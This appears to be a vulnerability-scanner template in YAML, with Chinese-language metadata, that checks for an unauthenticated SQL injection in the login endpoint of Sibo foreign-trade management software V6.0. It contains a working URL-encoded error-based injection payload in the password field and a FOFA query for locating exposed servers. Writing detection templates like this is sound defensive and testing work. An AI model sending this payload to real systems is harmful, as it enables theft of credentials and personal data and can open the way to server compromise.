sibo-v6-logined-sqli: 博斯外贸管理软件V6.0 log/logined.jsp SQL注入

id: sibo-v6-logined-sqli

info:
  name: 博斯外贸管理软件V6.0 log/logined.jsp SQL注入
  author: zan8in
  severity: high
  verified: true
  description: |-
    博斯外贸管理软件V6.0 log/logined.jsp 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
    fofa: title="欢迎使用 博斯软件"
  reference:
    - https://mp.weixin.qq.com/s/SP7sWzgFrVmZfINWCqOZIw
  tags: sibo,sqli
  created: 2024/12/31

rules:
  r0:
    request:
      method: POST
      path: /log/logined.jsp
      body: Submit=-1&account=-1&password=1%27+AND+9085+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%28120%29%2BCHAR%28112%29%2BCHAR%28107%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%289085%3D9085%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28120%29%2BCHAR%28112%29%2BCHAR%28113%29%29%29+AND+%27GSSe%27%3D%27GSSe
    expression: response.status == 200 && response.body.bcontains(b"qxpkq1qvxpq")
expression: r0()